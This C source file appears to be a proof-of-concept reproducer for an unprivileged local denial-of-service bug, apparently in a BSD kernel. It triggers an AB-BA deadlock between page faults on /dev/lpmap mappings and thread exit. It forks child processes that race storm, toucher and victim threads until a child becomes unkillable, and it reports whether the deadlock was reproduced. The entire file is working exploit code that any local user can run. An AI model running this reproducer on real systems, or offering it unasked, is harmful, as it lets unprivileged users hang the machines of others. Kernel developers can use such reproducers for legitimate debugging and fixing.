/*
 * DF-2839 v2 - /dev/lpmap fault vs lwp-exit AB-BA deadlock (unpriv local DoS)
 *
 *   T (toucher/storm): page fault on /dev/lpmap UKSMAP mapping:
 *     vm_fault() -> vm_map_lookup() leaves vm_map READ-locked
 *     -> uksmap UKSMAPOP_FAULT -> user_kernel_mapping() (kern_memio.c:801)
 *     -> lwp_usermap() (kern_memio.c:813)
 *     -> lwkt_gettoken(&lp->lwp_token) (kern_proc.c:1322)   [T parks here,
 *        still holding the map read lock]
 *
 *   V (victim): pthread_exit -> lwp_exit -> lwp_userunmap() (kern_proc.c:1356)
 *     -> holds lp->lwp_token (1363)
 *     -> vm_map_remove() (1374) needs map WRITE lock.
 *
 * With many victims removing multi-region mappings concurrently, each victim
 * spends a long time holding lwp_token while waiting for map->token / the
 * map lock behind the other removers - that is the window a toucher fault
 * must land in with the read lock already held.
 *
 * Exit 0 = REPRODUCED (wedged child survives SIGKILL), 1 = not detected.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <poll.h>
#include <time.h>
#include <errno.h>
#include <setjmp.h>

#define PAGE	4096
#define VICTIMS	8		/* concurrent exiting victims per wave */
#define VREGS	8		/* regions per victim */
#define VPAGES	32		/* pages per victim region */
#define VREGLEN	(VPAGES * PAGE)
#define NSTORM	8		/* storm threads */

static int lpmap_fd;

static volatile unsigned long pub_base[VICTIMS * VREGS];
static volatile unsigned long pub_gen;
static volatile unsigned long wave_done;
static volatile unsigned long storm_run = 1;

static __thread sigjmp_buf segv_jb;
static __thread volatile int in_touch;

static void segv_handler(int sig)
{
	if (in_touch)
		siglongjmp(segv_jb, 1);
	_exit(10);
}

static void touch_range(volatile unsigned char *p, int npages)
{
	unsigned int i;

	if (sigsetjmp(segv_jb, 1) != 0)
		return;
	in_touch = 1;
	for (i = 0; i < npages; i++)
		(void)p[((i * 2654435761u) % npages) * PAGE];
	in_touch = 0;
}

/*
 * Storm thread: constant fault + mmap/munmap traffic on the process map.
 * mmaps its OWN lpmap regions (aux = storm lwp, never exits) purely to
 * generate: (a) map read-lock acquisitions at faults, (b) map->token and
 * map-lock churn to widen the victims' pre-EXREQ window.
 */
static void *storm(void *arg)
{
	while (storm_run) {
		void *m = mmap(NULL, VREGLEN, PROT_READ | PROT_WRITE,
			       MAP_SHARED, lpmap_fd, 0);
		if (m == MAP_FAILED) {
			usleep(1000);
			continue;
		}
		touch_range((volatile unsigned char *)m, VPAGES);
		munmap(m, VREGLEN);
	}
	return NULL;
}

static void *toucher(void *arg)
{
	unsigned long seen = 0;
	int i, n = VICTIMS * VREGS;

	while (storm_run) {
		unsigned long g = pub_gen;
		if (g != seen) {
			seen = g;
			for (i = 0; i < n; i++) {
				unsigned long b = pub_base[i];
				if (b)
					touch_range((volatile unsigned char *)b,
						    VPAGES);
			}
			__sync_add_and_fetch(&wave_done, 1);
		} else {
			usleep(50);
		}
	}
	return NULL;
}

static void *victim(void *arg)
{
	int s = (int)(long)arg;
	int i;

	for (i = 0; i < VREGS; i++) {
		void *m = mmap(NULL, VREGLEN, PROT_READ | PROT_WRITE,
			       MAP_SHARED, lpmap_fd, 0);
		if (m != MAP_FAILED)
			pub_base[s * VREGS + i] = (unsigned long)m;
	}
	__sync_add_and_fetch(&pub_gen, 1);
	pthread_exit(NULL);		/* -> lwp_exit -> lwp_userunmap */
}

static int child_main(void)
{
	pthread_t tid[NSTORM + VICTIMS];
	long wave;
	int i, ntouch = 2;		/* dedicated wave touchers */
	int ith;

	signal(SIGSEGV, segv_handler);
	lpmap_fd = open("/dev/lpmap", O_RDWR);
	if (lpmap_fd < 0)
		return 2;

	for (i = 0; i < NSTORM; i++)
		pthread_create(&tid[i], NULL, storm, NULL);
	for (ith = 0; ith < ntouch; ith++)
		pthread_create(&tid[i++], NULL, toucher, NULL);

	for (wave = 0; wave < 20000000; wave++) {
		wave_done = 0;
		for (i = 0; i < VICTIMS; i++)
			pthread_create(&tid[NSTORM + i], NULL, victim,
				       (void *)(long)i);
		for (i = 0; i < VICTIMS; i++)
			pthread_join(tid[NSTORM + i], NULL);
		{
			long w;
			for (w = 0; w < 400 && wave_done < ntouch; w++)
				usleep(10000);
		}
		for (i = 0; i < VICTIMS * VREGS; i++)
			pub_base[i] = 0;
		{
			ssize_t n = write(1, "x", 1);
			(void)n;
		}
	}
	storm_run = 0;
	return 0;
}

int main(int argc, char **argv)
{
	time_t deadline, now;
	time_t last_hb[8];
	pid_t pid[8];
	int nchild = 4, secs = 90;
	int i, pipefd[8][2], alive[8], reproduced = 0;
	struct pollfd pfd[8];
	char c;

	if (argc > 1) nchild = atoi(argv[1]);
	if (argc > 2) secs = atoi(argv[2]);
	if (nchild > 8) nchild = 8;

	for (i = 0; i < nchild; i++) {
		if (pipe(pipefd[i]) < 0) { perror("pipe"); return 2; }
		pid[i] = fork();
		if (pid[i] == 0) {
			int j;
			close(0);
			dup2(pipefd[i][1], 1);
			for (j = 0; j < nchild; j++) {
				close(pipefd[j][0]);
				close(pipefd[j][1]);
			}
			_exit(child_main());
		}
		close(pipefd[i][1]);
		fcntl(pipefd[i][0], F_SETFL, O_NONBLOCK);
		last_hb[i] = time(NULL);
		alive[i] = 1;
	}

	time(&now);
	deadline = now + secs;
	printf("lpdeadlock2: children=%d secs=%d\n", nchild, secs);
	fflush(stdout);

	while (time(&now) < deadline && !reproduced) {
		int n = 0, map[8], k;

		for (i = 0; i < nchild; i++) {
			if (!alive[i]) continue;
			pfd[n].fd = pipefd[i][0];
			pfd[n].events = POLLIN;
			pfd[n].revents = 0;
			n++;
		}
		if (n == 0) break;
		if (poll(pfd, n, 1000) < 0 && errno != EINTR) break;
		k = 0;
		for (i = 0; i < nchild; i++)
			if (alive[i]) map[k++] = i;
		for (k = 0; k < n; k++) {
			i = map[k];
			while (read(pipefd[i][0], &c, 1) == 1)
				last_hb[i] = time(NULL);
			if (waitpid(pid[i], NULL, WNOHANG) == pid[i]) {
				alive[i] = 0;
				continue;
			}
			if (time(NULL) - last_hb[i] > 15) {
				int st = 0;
				printf("child %d (pid %d) stalled - SIGKILL test\n",
				       i, pid[i]);
				fflush(stdout);
				kill(pid[i], SIGKILL);
				sleep(4);
				if (waitpid(pid[i], &st, WNOHANG) == 0) {
					kill(pid[i], SIGKILL);
					sleep(4);
					if (waitpid(pid[i], &st, WNOHANG) == 0) {
						printf("REPRODUCED: child pid %d "
						       "unkillable (AB-BA wedge)\n",
						       pid[i]);
						reproduced = 1;
					}
				}
				if (!reproduced)
					printf("child %d died on SIGKILL (no wedge)\n", i);
				fflush(stdout);
				alive[i] = 0;
			}
		}
	}

	for (i = 0; i < nchild; i++)
		if (alive[i]) kill(pid[i], SIGKILL);
	if (!reproduced) {
		printf("NOT-REPRODUCED within %d s\n", secs);
		return 1;
	}
	return 0;
}